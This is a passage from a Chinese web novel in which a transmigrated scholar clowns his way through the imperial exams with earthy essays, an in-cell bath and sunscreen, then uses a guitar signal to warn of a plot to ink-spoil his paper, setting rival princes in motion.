“若一味空谈仁义,讳言利益,则好比逼着饿了三天的乞丐,去背诵《道德经》!肚子尚且咕咕作响,饥肠辘辘,何来气力与闲心去弘扬仁义?只怕听到仁义二字,心中想的却是仁(人)义(肉)包子罢!”
这比喻太过犀利传神,画面感极强!写完这句,林闲自己都差点笑出来。
接着,他将矛头指向了某些官僚:
“譬如一方县令,若只知高坐衙署,终日将尔俸尔禄,民脂民膏挂在嘴边,却不想方设法兴修水利利农耕,平整道路利商旅,设庠序之学利子弟。此等“清官”于民何益?不过是“泥塑的菩萨——中看不中用”!甚至堪称官场花瓶、百姓之蠹!”
最后,林闲亮出自己的核心观点,将“义”和“利”辩证统一,提升到治国方略的高度:
“故学生以为,为政者,当求“仁义之利!义为根本,利为枝叶。根深方能叶茂,叶茂方能庇荫众生。孟子斥利是
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悲悯世人,怕其只见树木,不见森林,追逐私利小利而忘公义大利。吾辈当明辨之,当追求那君子爱财,取之有道的利,那岂因祸福避趋之的利!如此,方为真知孟子之意,方为经世致用之实学也!”
整篇文章观点尖锐逻辑清晰,俚俗比喻与经典引用并行,充满了强烈的现实关怀和批判精神。
在这片**、空谈道德的试卷海洋里,简直是一股泥石流!
恰在此时,一位素以开明务实著称的阅卷官张大人巡视路过林闲号舍附近。他原本只是随意扫视,目光掠过林闲卷面时,恰好看到那句“逼着饿了三天的乞丐,去背诵《道德经》”
他顿时眼睛一直,脚步钉在了原地!
他强忍笑意,凑近细看,当看到“仁义包子”的谐音梗时,终于再也忍不住,“噗嗤”一声笑了出来,赶紧用袖子死死捂住嘴,老脸憋得通红,肩膀剧烈抖动,差点背过气去!
好不容易缓过劲,张考官继续往下看,越看越心惊,越看越觉得此子见解非凡!
这哪里是离经叛道?
这分明是“拨云见日,直指本源”!
尤其是“泥塑的菩萨”、“官场摆设”等语,简直说到了他这种务实派官员的心坎里。
那些只会空谈的清流,他早就看不惯了。这份卷子,不仅有理有据,更有胆有识!
“妙啊!此子……此子大才!务实的很!”张考官心中狂喜如获至宝,强忍着继续拍大腿的冲动,在心底已经将这份卷子夸到了天花板。
他小心翼翼将林闲的考号“玄字七号”默记于心,这才强装镇定继续巡视。
但嘴角那压抑不住的笑意,却出卖了他内心的激动。
而对面的赵公子,正在绞尽脑汁堆砌“巍巍乎仁义”之类的华丽辞藻,忽然听到隔壁张考官那压抑的笑,心中莫名烦躁。
他忍不住暗骂道:“又是林闲那个家伙!不知又写了什么粗鄙不堪、哗众取宠的东西来蛊惑考官!真是斯文扫地!”
第二天的考试,就在林闲这篇“接地气”到近乎“炸裂”、却又闪耀着务实光辉的经义文章中结束。他的答卷,毫无疑问地再次成为了考官们私下激烈讨论(并憋笑)的焦点。
可以预见,这份卷子一旦传入朝堂,必将引起一场不小的风波!
第八十八章 沐浴风波:他竟在号舍里搓澡?
第三日,秋老虎的**达到新顶峰。
烈日无情炙烤着贡院的青瓦灰墙,将整个号舍区变成了密不透风的巨型蒸笼。
号舍狭小且通风极差,经过两天两夜的煎熬,汗味、墨臭、馊掉的饭菜味、还有若有若无的脚丫子味混合在一起,发酵成一股难以名状的“考场专属气息”。
大多数士子早已蓬头垢面油光满面,衣衫被汗水反复浸透又捂干,凝结出斑驳的地图盐渍。
他们如霜打的茄子,在闷热中苦苦挣扎。
林闲虽然靠着“清心醒神露”和驱蚊香保持了些许头脑清明,但也觉得浑身黏腻不堪,仿佛裹了一层浆糊十分难受。
他早已料到这“生化危机”般的处境,从容地从考篮最底层的隐秘夹层中,取出了他的“终极秘密武器”——一个用轻便油布和柔韧竹篾精心制成的可折叠澡盆!
这澡盆折叠起来仅不到一尺见方,薄如书册,展开后却足够一人舒适坐下擦洗,堪称古代版“黑科技”旅行装备。
午间休息时分,趁巡场官换班的间隙林闲举手示意。
一名年轻的差役皱着眉头走了过来,没好气地问:“何事?不得喧哗!”
林闲指着自己号舍里那个展开的、造型奇特的澡盆,语气客气却带着不容置疑的理直气壮:“差爷,烈日炎炎号舍如蒸笼,学生汗流浃背污秽满身,实难凝神静思。特想打些清水,就在这号舍之内简单擦洗一番,涤荡污垢清醒头脑,以便下午能更好完成答卷。还请差爷行个方便。”
那差役一看那澡盆,眼珠子差点瞪出来,声音都劈叉了:“什么?!洗……洗澡?在号舍里?你当这是你家后院澡堂子?不成!绝对不成!有辱斯文!亵渎考场!从未有过这等规矩!快收起来!”
这边的动静,立刻像磁石吸引了附近号舍考生的注意。
众人纷纷从半死不活的状态中惊醒,伸长了脖子张望。
当看到林闲号舍里那个明晃晃的澡盆时,全体石化,目瞪口呆!
“玄……玄字七号!他又开始了!”
“澡……澡盆?!我是不是热晕了出现幻觉了?”
“贡院……带澡盆?!这是人能干出来的事?”
“在号舍里沐浴?!这……这成何体统啊!羞先人嘞!”
对面的赵公子正用一块脏兮兮的手帕擦着额头的油汗,瞥见这一幕,先是一愣,随即露出极度鄙夷的讥笑,低声对隔壁道:“哗众取宠!不知所谓!简直是我辈士子之耻!”
林闲面对差役的严词拒绝和周围的窃窃私语,非但不慌,反而气沉丹田,挺直腰板(尽管坐着),朗声开口,声音清越,足以让附近十几个号舍都听得清清楚楚:
“差爷此言,差矣!大错特错!”
他先声夺人,随即引经据典开始了他的表演:“《礼记·玉藻》有云,身有疡则浴,首有创则沐。又云三日具沐,五日具浴。沐浴更衣洁身净体,乃是自祖先祭祀天地、朝见君父之前必行的古礼,以示虔敬!”
他顿了顿,扫过瞠目结舌的考生,继续拔高立意:“学生此举,非为贪图个人享乐。实为清除污秽,涤荡疲惫,澄澈心神!以便能更加精神抖擞、心无杂念考好将来效忠陛下,完成这关乎国运的抡才大典。此心可比沐浴而朝的忠臣,此志可昭日月!岂能说是有辱斯文?”
趁着官差结结巴巴说不出话,林闲话锋一转,继续偷换概念:“反之!若一身臭汗,污秽满身,头脑昏沉,写出的文章必然思路混沌字迹污浊,甚至墨迹被汗水晕开污了卷面。这难道不是对圣上、对科举、对文章之道的最大不敬与亵渎?学生这是维护考场洁净,捍卫文章尊严啊!”
这一番慷慨陈词,引经据典,竟直接把搓澡这件小事提升到了“忠君爱国”、“遵循古礼”、“捍卫考试尊严”的吓人高度!
把那差役说得目瞪口呆,哑口无言,张着嘴“啊……这……”了半天,愣是憋不出一句反驳的话来。
周围旁听的士子们也全都傻眼了,脑子一时转不过弯来,但仔细一品……好像……还真**有道理啊!甚至有人下意识闻了闻自己酸爽的袖子,露出了羞愧的表情。
就在这时,主考官周学政例行巡视,恰好走到附近。
他听到这边似乎有争论,便踱步过来,沉声问道:“何事喧哗?为何**?”
那差役如蒙大赦,连忙躬身禀报,语气都带着委屈:“启……启禀大人!这位考生……他……他要在号舍内沐……沐浴!还带了澡盆!小的觉得这……这实在太不合规矩了!从未有过先例啊!”
周学政目光一扫,看到林闲号舍里那个显眼的折叠澡盆,眼中瞬间闪过极大的惊讶,但随即化为浓浓的好奇与玩味。
他深知林闲深藏不漏,却也没想到他能搞出这种花样。
林闲见状,立刻起身对周学政深深一揖,然后将刚才那套“沐浴净心以敬事”、“捍卫文章尊严”的理论,用更加文雅、更加恳切的语气,声情并茂重新阐述了一遍。
他擦了把汗,最后恳切道:“学生深知考场规矩森严,绝不敢肆意妄为。实是天气酷热难当,恐精力不济耽误了朝廷选拔人才的大事。恳请大人体恤学子艰辛,准学生行此权宜之洁,学生必将铭记大人恩德,以更饱满的精神完成答卷!”
周学政抚着胡须,看着林闲那一脸“赤胆忠心”、“为国洗澡”的凛然模样,又瞥了一眼周围那些形容枯槁、散发着浓重“人味”的士子,再回想起林闲前两场那令人拍案叫绝的答卷。
忽然间,他大笑起来:“好!好一个权宜之洁!好一个沐浴而朝!林闲啊林闲,你这张嘴,真是能把死的说成活的,白的说成黑的!歪理都能让你讲出大义来!”
周学政笑了好一会儿,才勉强止住。
他对那差役挥挥手,眼中带着无奈却又赞赏的笑意:“罢了!罢了!念在他一片虔敬之心,歪理……
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咳,道理也还算讲得通,本官今日就破例一回!准了!去打盆清水来,让他速速擦洗,动作要快,不得延误下午考试!”
“大人英明!学生谢大人恩典!”
林闲立刻躬身道谢,嘴角勾起一抹计划通的笑容。
周学政这话一出,全场皆惊!
主考官竟然……竟真的批准了在号舍里洗澡?!这简直是贡院开考二百年来破天荒头一遭!旷古奇闻啊!
差役只好苦着脸,依言去打水。
不一会儿,一盆清水端来。
林闲在号舍内拉上早就准备好的小布帘,开始舒舒服服擦洗起来。
虽然条件简陋,但冷水拂过肌肤洗去一身黏腻污垢,顿觉神清气爽,毛孔都在欢呼,仿佛重获新生!
而周围号舍的士子们,听着那布帘后传来的“哗啦啦”撩水声,闻着那随风飘过来的、淡淡的皂角清香,再低头看看自己油腻打绺的头发和散发着酸味的衣衫,眼睛都羡慕绿了!这简直是精神上和生理上的双重酷刑!
“咕咚……”
有人忍不住咽了口口水,是渴的,也是羡慕的。
“真……真洗啊……”
有人喃喃自语,世界观受到冲击。
“娘的……早知道我也……”
有人后悔不迭。
赵公子气得脸色铁青,手中的毛笔“咔嚓”一声,竟被他硬生生撅断了!
他低吼道:“恬不知耻!斯文扫地!礼崩乐坏!”
而就在赵公子无能狂怒的同时,布帘后的林闲,正舒舒服服地擦洗着。
听着帘外赵公子那压抑着怒火的低吼,林闲眼珠一转,坏水儿就冒上来了。
他故意将水声撩得哗哗作响,还用一种不大不小、刚好能让对面号舍听清的、带着无比惬意和欠揍的语气,悠然吟道:
“唉——”
“号舍如蒸笼,浑身黏答答。”
“取盆清泉水,洗尽尘与乏。”
“皂角清香透,神思更敏捷。”
“任他酸儒咬断笔,我自清爽笑哈哈!”
这打油诗一出,尤其是最后那句“任他酸儒咬断笔,我自清爽笑哈哈”,简直是精准投喂,定点爆破!
“噗——”
“咳咳咳!”
对面号舍的赵公子,正气得胸口发闷,猛地听到这句,一口气没上来,差点被自己的口水呛死!
他整张脸瞬间由青转紫,由紫转黑,手指颤抖地指着布帘方向,“你…你…”了半天。
随即赵公子眼前一黑,“咕咚”一声软软瘫倒在号舍里!
“赵公子!赵公子!您怎么了?!”
附近差役顿时一阵鸡飞狗跳,慌忙上前搀扶掐人中。
布帘后的林闲,听着外面的骚动,嘴角勾起一抹尽在掌握的微笑,他慢条斯理擦干身子,换上干净的里衣,浑身上下清爽通透,心情更是愉悦到了极点。
这就晕了?心理素质也太差了点。
林闲摇摇头,暗自好笑:“就这,还想跟我斗?”
第八十九章 防晒奇谋
第四日,天气丝毫没有转凉的迹象。
天空就像下了火,一丝风也没有。
大多数士子早已被酷热和连日的煎熬折磨得不成人形,用尽各种不雅姿势试图获取一丝凉意却依旧心烦意乱。
在这片人间考狱中,“玄”字第七号舍,继续保持正能量形象。
天刚蒙蒙亮,林闲便已醒来。
他先是用了点自带的果酱,然后在周围一片死寂和鼾声中,再次取出了他那宝贝的折叠澡盆。
有了昨日周学政的“特批”,他更是有恃无恐。
林闲举手招来差役,差役虽然一脸不情愿,但有了上峰的命令,也只能乖乖去打温水。
随后林闲拉上布帘,舒舒服服开始“晨间沐浴”!
清凉的温水洗去一夜的黏腻,换上干净的里衣,整个人神清气爽仿佛与这个污浊闷热的考场不在一个次元。
洗完澡,他甚至还颇有闲情逸致哼起不太风雅的小曲:“洗呀洗呀洗澡澡,贡院酷热全冲跑,换上新衣精神好,气死对面大草包……”
虽然歌词粗俗,调子怪异,但那股子惬意和轻松,隔着布帘都能溢出来!
对面号舍的赵公子被气得一夜未眠,正被闷热和蚊虫折磨得荤素不知。
忽听到隔壁隐隐传来的水声和那气**的哼唧声,气得差点一口老血再次喷出来!
他拳头攥得发白,内心在疯狂咆哮:“岂有此理!欺人太甚!这厮……这厮简直把贡院当澡堂子了!!”
晨光渐亮,酷暑更甚。
赵公子所在的号舍正好朝西,烈日很快如探照灯般直射入内,将他彻底笼罩。
他被晒得头晕眼花,满脸油汗如同淋了雨,那身昂贵的杭绸长衫,后背早已湿透,勾勒出狼狈的轮廓。
他一边用袖子扇风,一边咒骂着鬼天气,还要烦躁地擦拭着不断滴落、险些晕开试卷墨迹的汗珠,整个人如同热锅上的蚂蚁,焦躁不堪。
与此形成惨烈对比的是,林闲的“玄”字第七号舍。只见他不慌不忙地从考篮中取出那个精致的小瓷盒——玉容防晒霜。
打开盒盖,用指尖蘸取少许乳白色的膏体,仔细地在面颈、手臂等皮肤上涂抹均匀。
这防晒霜质地清爽,带有淡淡的草本香气。
涂上后不仅防晒,还有一丝清凉感,让他看起来清爽干净,与周围油光满面的士子判若云泥。
这一幕,再次被热得要自燃的赵公子瞥见。
他积压的怒火瞬间被点燃,再也按捺不住,隔着栅栏阴阳怪气高声讥讽道:“哟!林大案首真是精致人儿!这秋闱考场,刀笔争锋、决胜千里的所在,你沐浴更衣不算,还有闲情逸致对镜贴花黄,涂脂抹粉?莫非是想凭这张小白脸,去博取哪位考官的青睐不成?真是学子之耻!”
林闲闻言,手上涂抹的动作丝毫未停。
他连眼皮都没抬一下,用气**的悠闲语调,慢悠悠回道:“赵公子,火气这么大,小心肝火旺盛,加重中暑。”
他边仔细抹匀边继续提高声调:“圣人云身体发肤,受之父母,不敢毁伤,孝之始也。这烈日灼灼宛若火烤,若是不做防护晒伤头脑导致思绪混沌,如何能精心作答报效朝廷?此乃爱护父母赐予之身躯,以最佳状态应对国考,是谓大孝!保持清醒头脑,竭尽全力为君分忧,是谓大忠!赵公子如此急躁,口不择言,莫非是……热的?”
“你……!”
赵公子被这番“忠孝”大论怼得胸口一闷,尤其是最后那句“热的?”,更是差点让他背过气去。
他指着林闲脸憋得通红,却想不出话来反驳,只能呼哧呼哧地喘着粗气,如同被扔上岸的鱼。
就在这时。
“咚!咚!咚!”
三声鼓响,试卷发下!
这一场考的是时务策论,题目是:《论漕运之弊与革新之策》。
此题紧扣当前朝廷热点,极为务实。
赵公子看到题目先是一愣,随即心中狂喜!
他父亲赵宪掌管刑名,对漕运事务也多有涉猎,他自认耳濡目染,颇有些“真知灼见”。
他立刻强压怒火,奋笔疾书,大谈特谈“清淤河道、严惩贪墨、增派漕丁、加强巡查”等老生常谈的方案,自觉切中时弊,必得高分。
而林闲看到题目后,嘴角勾起一抹尽在掌握的微笑。
这题,简直是为他量身定做!他不慌不忙。
他将防晒霜仔细涂好,确保自己处于“最佳防晒+最佳脑力”的作战状态,然后才好整以暇地提笔蘸墨,开始了他的“爆笑漕运策”的创作。
他开篇先肯定漕运的重要性,随即笔锋一转,直指核心弊端,语不惊人死不休:
“夫论漕运之弊,诸公奏章多言河淤、吏贪、丁疲,此三害,犹如【秃子头上的虱子——明摆着】,年年讲,月月谈,耳朵都听出茧子了!然学生以为,此皆“标”也,非“本”也!治标不治本,犹如扬汤止沸,隔靴搔痒!”
“何为本?制度百年不变,僵化如铁为本!技术停滞不前,落后如牛为本!管理全凭经验,粗放如牧羊为本!”
接着,他用一连串生动泼辣、堪称“毒舌”的比喻展开论述,鞭辟入里:
“何以言制度僵化?现今漕运章程,犹如【百年老店只卖一味菜——不知变通!】年年循旧例,岁岁走老路。遇河道淤塞,只知加派民夫,人海战术,劳民伤财,却不知研究新式挖泥船,事半功倍。遇漕粮霉变损耗,只知责罚运丁克扣工食,却不懂改善仓储通风包装防潮,此非“头痛医头,脚痛医脚,结果浑身是病”乎?”
“何以言技术落后?我大周漕船,船型笨重如猪,帆桅低效如鸭,
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全仗人力风力,逆水行舟犹如【老牛拉破车——慢吞吞,还费草料!】为何不格物致知,研究水密隔舱以抗沉,尖底龙骨以破浪,多桅帆装以借八面来风?若漕船速度能快三分,则损耗可减三成,效率能增五成!此乃“磨刀不误砍柴工”之真义也!总比某些人只知道喊加油拉纤要强吧?”(含沙射影,打脸赵公子)
“何以言管理粗放?漕粮从征收、运输到入库,全凭老吏经验,账目模糊,损耗率成了一笔谁也说不清的“糊涂账”!为何不引入标准计量(如统一校准斛斗,杜绝大斗进小斗出)、复式记账法(使账目清晰,有据可查)、甚至设立独立审计司(垂直管理,不受地方掣肘)?让每一粒漕米的来龙去脉都清清楚楚?如此贪墨之弊,方能水落石出,无处遁形!”
最后,林闲更是抛出更加大胆甚至“离经叛道”的革新之策,堪称石破天惊:
“故学生以为,革新之策,首在变法与格物!可尝试漕运承包制,引入商贾之效率与活力,设立皇家漕运技术学堂,专研船舶、水利、物流,甚至可探索海运辅漕,不能把所有鸡蛋放在一个篮子里。免得运河一断,京师就要饿肚子!”
整篇文章观点犀利,直指制度和技术核心。用词泼辣大胆,俚俗比喻与深刻洞见并存,将漕运弊病分析得入木三分。提出的对策远超时代,简直是一篇酣畅淋漓的“古代版漕运改革白皮书”!
那位曾被他“沐浴论”逗笑的张考官巡视到此,看到这篇奇文尤其是“秃子头上的虱子”、“老牛拉破车”、“不能把所有鸡蛋放在一个篮子里”这些妙语,再次忍俊不禁。
他摇头叹道:“此子……真乃鬼才!话糙理不糙,字字珠玑,发人深省啊!赵家公子那篇陈词滥调,与此文相比,简直是云泥之别!”
而就在这时,天空毫无征兆阴沉下来,顷刻间下起了瓢泼大雨。
赵公子正探头怒视林闲,试图寻找他答卷中的破绽。
被这突如其来的雨水混着额头上不断滴下的油腻汗水,还有不小心蹭到的墨汁,糊了满满一脸,瞬间成了滑稽的大花猫。
“糟糕!”
他狼狈不堪惊呼着缩回头,去找东西遮挡。
而林闲因涂了防晒霜,雨水淋上随手用布巾一擦便清清爽爽,甚至趁着雨声答题更快了。
雨停后,赵公子心态已彻底崩溃。
他看着自己淋湿的卷子和花猫般的脸,再回想林闲那从容的样子和可能写出的精彩文章,答题思路全乱。
后半篇文章开始写得语无伦次,大失水准。
而林闲的这份“爆笑漕运策”,则再次让阅卷官们拍案叫绝。
第四天的考试,就在这冰火两重天的反差中结束。
林闲的“考场妙人”兼“经世奇才”的形象,已无可撼动。
第九十章 暗夜传讯
第四天的夜幕落下,将贡院彻底笼罩。
这片白日里尚存一丝生气的“抡才重地”,此刻已彻底沦为一座巨大的、散发着绝望气息的活人墓穴。
连续四天的身心煎熬,榨干了绝大多数士子最后一丝精气神。
他们像一滩滩烂泥般瘫在硬得硌人的木板床上昏睡不醒,只有此起彼伏、或高或低的鼾声。
巡夜差役那有气无力、如同招魂般的梆子声,“笃……笃……笃……”,
在空旷的院落里机械地回荡,更添几分阴森。
在这片“人间地狱”中,“玄”字第七号舍,却燃着一豆倔强的烛光。
林闲也感到了深入骨髓的疲惫,这具身体毕竟不是铁打的。
但两世为人的灵魂,历经风浪所磨砺出的坚韧神经,以及那种对危险近乎本能的敏锐直觉,让他强行驱散了浓重的睡意。
他看似在借着昏黄的烛光翻阅《中庸》,实则眼观六路,耳听八方,全身的感知细胞都处于高度警戒状态。
突然!
一声极轻微、却富有特定节奏的叩击声,如同暗夜中的一道闪电,精准地刺入他的耳膜!
“笃、笃笃、笃!”
声音短促、清晰,带着一种不容置疑的紧急!这正是他与影刹约定的最高级别预警暗号——“死神叩门”!
林闲心中猛地一凛,但动作却快如鬼魅!
他几乎在听到信号的瞬间便已悄然弹起,无声无息贴近冰冷的木栅栏,将自身完美融入阴影之中。
目光如电,扫向栅栏外。
只见一个身着普通巡夜差役服饰、帽檐压得极低的身影,如真正的幽灵般从栅栏外一闪而过!
其动作之迅捷、步伐之轻盈,绝非普通差役所能及!
与此同时,一枚用防水油纸小如鸽卵的石子,被精准抛入了他的号舍。
落在干草铺上,只发出了一声微不可闻的“噗”声。
“好身手!”
林闲心中暗赞一声,影刹的潜伏和传递技艺已臻化境。
他迅速俯身,指尖触到那微凉的油纸包,触感如同握着一块寒冰,也握住了即将引爆的惊雷。
他退回烛光下,用微微颤抖却异常稳定的手指,小心翼翼展开油纸。
里面是一张小小的纸条,上面是影刹那熟悉的、娟秀中带着金石之气的字迹。
此刻却因极致的急促而略显潦草,每一个字都仿佛是用烧红的烙铁刻上去的,滚烫灼人:
“先生,十万火急!主考张正,实为汉王死间。赵宪密报,诬兄与太子系考生结党,笔迹已伪造。欲借墨污之名,于今夜子时或明日毁兄试卷。此乃绝杀之局,慎之!速决!”
纸条上的信息,字字如刀,刀刀见血!
主考官张正,竟然是汉王安插最深的钉子!
赵宪这条老疯狗,竟然勾结主考,连“结党”的笔迹证据都伪造好了!
他们要用的,是科举中最肮脏、最难以翻盘的“墨污试卷”之局!
时间就在今夜或明天,这是要不给他任何反应时间,一击毙命!
一股冰寒刺骨的杀意,让他浑身汗**倒竖,头皮发麻!
在贡院这个完全封闭、主考官拥有绝对生杀大权的“法外之地”,若被这样一位手握大权的“暗桩”盯上,用如此卑劣却难以防范的手段陷害,那真
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是叫天天不应,叫地地不灵!九天心血付诸东流都是轻的,身败名裂、甚至性命不保都有可能!
硬碰硬?对方是主考,自己是案板上的鱼肉,硬刚就是送死,纯属老寿星吃**——嫌命长!
直接揭发?证据呢?就凭一张小纸条?打草惊蛇不说,立刻就会被反咬一口“诬告主考”,死得更快!简直是茅坑里打灯笼——找屎(死)!
坐以待毙?那更不可能!他林闲的人生字典里,就没有“坐以待毙”这四个字!
必须想一个办法!一个既能巧妙示警,又不暴露影刹这条至关重要的暗线,还能瞬间引起足够分量的大人物高度重视,并迫使对方不得不立刻采取雷霆行动的办法!
林闲猛地闭上眼,深吸一口带着污浊气息的空气,强迫自己剧烈跳动的心脏平复下来。大脑以前所未有的速度疯狂运转,如同最精密的计算机,瞬间推演了无数种可能性和应对方案。
目光,不由自主地扫向了角落里那把静静倚着的、在昏黄烛光下泛着幽暗紫光的紫檀木吉他。
一个极其大胆、近乎疯狂、却又妙到毫巅的计划,如同黑暗中划过的闪电,瞬间在他脑中成形!
“吉他……音乐……暗号……周学政……太子……赵王……有了!就这么干!玩一把大的!”林闲猛地睁开眼,眼中闪过一丝混合着决绝、锐利和一丝兴奋的光芒,嘴角甚至勾起了一抹冰冷的、如同刀锋般的弧度。
“汉王,赵宪,张正……你们想玩阴的?想毁我试卷?想断我前程?”
“好!很好!老子今晚就用这把吉他,给你们弹一曲——‘送终’!”
第九十一章 弦外之音:双王雷霆救驾
夜,更深了。
贡院内死寂一片,连巡夜差役的梆子声都透着有气无力。
突然!
“铮——咚咚咚——铮铮!”
一阵急促、低沉、充满了紧张感和警示意味的吉他声,悍然撕裂了这片死寂!
这旋律,与林闲往日那些或悠扬或诙谐的曲调截然不同。
它如同密雨敲窗,战鼓催征,每一个音符都重重砸在听者的心尖上!
“玄字七号又开始了!”
“这大半夜的,弹的什么鬼曲子?听得人心惊肉跳!”
“莫非是连考四天,真魔怔了?”
邻近号舍被惊醒的士子们纷纷抱怨,睡眼惺忪中带着烦躁不安。
这琴声仿佛带着钩子,勾起了他们内心深处潜藏的焦虑。
而对面的赵公子,本就因白天的羞辱和闷热烦躁得如同热锅上的蚂蚁,听到这“噪音”,更是火冒三丈。
他猛地坐起身,隔着栅栏低吼道:“林闲!你还有完没完!深更半夜鬼哭狼嚎,是想把大家都吵死吗?装神弄鬼,哗众取宠,简直是我辈士子之耻!”
然而,他的骂声很快被淹没在愈发急促的琴声里。
这琴声却成功穿透重重夜幕,清晰地传入了尚未休息、正在灯下批阅试卷的副主考周学政的耳中。
周学政精通音律,他刚批到一份辞藻华丽却空洞无物的试卷,正有些昏昏欲睡。
他闻声先是一怔,随即放下朱笔侧耳凝神细听。
越听,他的眉头皱得越紧……
“此曲……杀伐之气暗藏,焦灼之意尽显,更有几分……悲壮?”
周学政喃喃自语,手指无意识地在桌上敲击。
这绝非闲情逸致!这林闲,深夜奏此异音,定有深意!莫非……是在示警?
他脑中瞬间闪过白日里林闲那篇直指漕运积弊的策论,再联想到主考张正近日一些反常举动——对几份观点新颖的试卷格外“关注”,批阅时停留时间异常长。
同时此人对林闲的态度,表面平静眼底却总藏着一丝难以捉摸的冷意……
一股强烈的不祥预感,如同冰冷的毒蛇,骤然缠上了他的心脏!
就在此时,林闲的琴声陡然再变!
在原本急促的旋律中,他突然加入了极其逼真、令人毛骨悚然的瓷器破碎声!那是用特殊指法急速刮擦琴弦模拟出的效果!
“啪嚓——!哗啦啦——!”
这声音在万籁俱寂的深夜,如同惊雷炸响,清晰得让所有听到的人都心头巨震,汗**倒竖!
“什么声音?!”
“砚台!是砚台打碎的声音!”
“不对!是琴声!是林闲弹出来的!”
周学政闻声,瞳孔骤然收缩成针尖大小!
“破碎声?!砚台?!墨汁?!”
他脑中如同电光石火,一个在科举史上最臭名昭著、最阴险毒辣的陷害手段瞬间闪现——“墨污试卷”!
故意**打翻砚台,污损他人试卷使其作废?
此计歹毒之处在于,即便事后查出是人为也往往难以找到铁证,且试卷被污功名已毁,追悔莫及!
“难道……张正他……竟敢冒天下之大不韪,要用如此下作手段对付林闲?!就在最近两夜?”
这个念头,让周学政瞬间惊出一身冷汗!
若主考官亲自下场操盘此等阴谋,那真是防不胜防,林闲在劫难逃!
“不能再等了!必须立刻行动!”
周学政站起身,脸上再无平日的温和,只剩下果决与冷厉。
他立刻唤来绝对可靠的心腹随从,压低声音,语速快如爆豆:
“听着!你立刻带我们的人,暗中盯紧张正和他的那几个贴身亲随。特别是靠近玄字七号方向的!记住,是任何异动!哪怕他只是多看了一眼林闲的号舍,或者他的亲随无故靠近那边,立刻发信号来报!但切记,绝不能暴露!”
“是!大人!”
心腹随从感受到事情的严重性,领命后迅速融入黑暗。
周学政在房内焦急地踱步,心绪如潮。
张正身为正主考权势滔天,若铁了心要动手,单凭自己一个副主考根本难以正面抗衡。
必须寻求更强的外援,而且要快!
必须以雷霆之势,将危机扼杀在萌芽状态!
他立刻扑到书案前,铺纸研墨间用早已与京城约定的、极其隐晦的暗语,笔走龙蛇:
“巢有变,玄鸟夜啼甚哀,声似玉碎,恐‘墨羽’之祸临头!枭主(张正)或已亮爪,巢中雏鸟(太子系士子)危在旦夕!火速驰援,迟则羽折巢覆!”
写罢他用火漆严密封印,唤来另一名忠心耿耿、身手不凡的家仆,将密信郑重交予其手命令道:“此信,重于泰山!关乎人命前程,更关乎国本。你连夜出城,必须在明日午时前,送到京城庆云堂东家手中!若有延误……提头来见!”
几乎在同一时间,潜伏在贡院最阴暗角落的影刹,凭借**对危险的直觉,敏锐捕捉到周学政派人暗中监视的细微动静。
她立刻意识到林闲的吉他密码已然奏效,周学政已经警觉并开始行动。
但对手是主考张正,危机远未解除。
“必须把水搅浑,把天捅破!将汉王的阴谋彻底暴露在阳光之下!”
影刹眼中寒光一闪,当机立断。
她立刻利用其暗影卫江南总负责人的最高权限,通过最快渠道向京城发出一封措辞更为激烈的加急密报:
“十万火急!江南主考张正,确系汉王死间!受赵宪蛊惑,欲近日伪造结党笔迹并行墨污之计,毁林闲卷。此乃一石二鸟毒计,既重创太子亦损王爷声望(林闲曾助王爷平永昌之乱,天下皆知)!周学政已察,然势单力薄恐难抵挡。汉王黑手已伸向科举根基,王爷若再迟疑,江南棋局恐将倾覆。望速派钦差携雷霆之势**,否则大局危矣,悔之晚矣!”
两封密信如两支点燃了尾焰的火箭,撕裂沉沉的夜幕,分别射向太子东宫和赵王府!
与此同时,京城,太子东宫。
太子首席幕僚接到周学政用隐语写成的密信。他精通密码,迅速解码,当看清内容时,他的脸色瞬间变得凝重无比。但并非全然的震惊,反而带着一丝复杂的疑虑。
他不敢怠慢,立刻深夜求见太子。
太子被从睡梦中唤醒,面带不悦。
但当幕僚将密信内容呈上并解释后,太子的眉头紧紧锁了起来,脸上先是闪过一丝震惊,但随即被浓浓的怀疑所取代。
林闲?又是这个林闲!
太子沉吟道,语气中带着一丝不易察觉的冷意:“他先有赵王举荐之恩,后又得父皇青睐,如今周学政又为他火急火燎传来此信……此人左右逢源,其心难测!这所谓的‘墨污’之告,会不会是他自导自演的一出苦肉计,故意示警既想躲过一劫,又想借此进一步博取孤的信任和庇护?甚至……是想挑拨孤与汉王正面冲突,他好从中渔利?”
幕僚心中一惊,连忙道:“殿下,此事宁可信其有,不可信其无啊!万一是真……”
太子抬手打断了他,眼神闪烁:“孤知道。但孤不得不防。此子心机深沉,绝非表面看上去那般简单忠厚。”他对林闲的“超规格”恩宠和与多方势力的暧昧关系,
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早已心生芥蒂。
就在太子犹豫不决之时,他的幕僚补充了一句:“殿下,退一万步讲,即便此事是林闲的算计,但密信中也提及,张正的目标可能不止林闲一人,而是‘巢中雏鸟’——这很可能泛指所有与东宫亲近的士子啊!若张正真是汉王的人,他借此机会将殿下您暗中关照的几位考生一并‘墨污’陷害,彻底断送他们前程,这岂非是对东宫势力的重大打击?届时即便林闲是苦肉计,我等也是实实在在的受损!”
这句话如当头棒喝,瞬间点醒了太子!
是啊!不管林闲是忠是奸,他个人的得失暂且可以放在一边。
但汉王若真通过张正操控江南科举,趁机将自己派系的潜力新秀一网打尽,那损失可就太大了。这关乎的是东宫未来的根基和颜面!
想到汉王平日里的咄咄逼人,以及此次若让其阴谋得逞的严重后果,太子瞬间惊出一身冷汗!个人猜忌必须让位于集团利益!
“不错!此言有理!”
太子猛地站起身,脸上取而代之的是决断与怒意,“无论林闲如何,绝不能让汉王的奸计得逞,绝不能让他动孤的人,毁孤的棋!张正必须拿下!科举必须保住!”
此刻太子的行动不再是为了救林闲,而是为了自救,为了反击汉王,为了保住东宫在江南科举中的利益!
太子断然下令:“备轿!孤要即刻进宫,面见父皇!绝不能让汉王玷污了科举圣地!”
而赵王府内,赵王接到影刹的密报,同样是又惊又怒。
惊的是汉王的手伸得如此之长、如此之黑,竟连科举主考都被渗透。
怒的是张正和赵宪这两个混账东西,竟敢瞒着他搞这么大的动作,还要毁掉他刚刚看上、准备大力栽培的奇才林闲。
这简直是在他赵王头上动土,更是要断他在江南的布局!
“好个汉王!好个张正!把本王当泥捏的菩萨不成?!”
赵王气得胡子直抖,一脚踹翻了眼前的矮几:“科举也敢碰?林闲也敢动?本王的墙角也敢挖?本王让你吃不了兜着走!来人!备轿!本王要即刻进宫,面奏父皇!”
于是,深更半夜,紫禁城宫门被接连叩响。
